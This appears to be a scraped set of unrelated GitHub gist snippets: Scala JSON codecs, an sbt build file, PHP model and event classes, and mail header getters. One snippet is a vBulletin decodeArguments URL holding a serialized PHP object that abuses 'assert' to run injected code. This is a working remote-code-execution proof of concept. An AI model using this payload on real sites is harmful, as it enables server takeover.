This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
val account = AccountAdded("asdf", Account("blah")) | |
println(account.asJson) // {"identifier":"asdf","account":{"password":"blah","active":false}} | |
val map = Map("package.User$AccountAdded" -> AccountAddedCodec) | |
val encoder = map.get("package.User$AccountAdded").get | |
println("""{"identifier":"asdf","account":{"password":"blah","active":false}}""".decodeOption(encoder)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"messageType": "SomeCommand", | |
"payload": { | |
"do": "things!" | |
} | |
} | |
case class SomeCommand(do: String) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name := """ua-http""" | |
version := "1.0-SNAPSHOT" | |
lazy val root = (project in file(".")).enablePlugins(PlayScala) | |
scalaVersion := "2.11.6" | |
libraryDependencies ++= Seq( | |
jdbc, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace Some\Model; | |
class YourModel { | |
/** | |
* @var Collection<Asdf> | |
*/ | |
protected $asdfs; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$entity = new Entity(); | |
$e = $this->entityRepo->findByIdentifier($entity->getIdentifier()); | |
if ($e !== NULL) { | |
echo "#WAT"; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Event { | |
public $things; | |
public function __construct($things) { $this->things = $things; } | |
} | |
class Event_v2 { | |
public $things; | |
public $anotherThing; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://[REMOVED]/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"*db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:20:"print_r(md5(233333))";} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Get the model data (usually an array or a string) for $field. | |
*/ | |
protected function _getHeaderFieldModel($field) | |
{ | |
if ($this->_headers->has($field)) { | |
return $this->_headers->get($field)->getFieldBodyModel(); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Get the from address of this message. | |
* | |
* @return string | |
*/ | |
public function getFrom() | |
{ | |
return $this->_getHeaderFieldModel('From'); | |
} |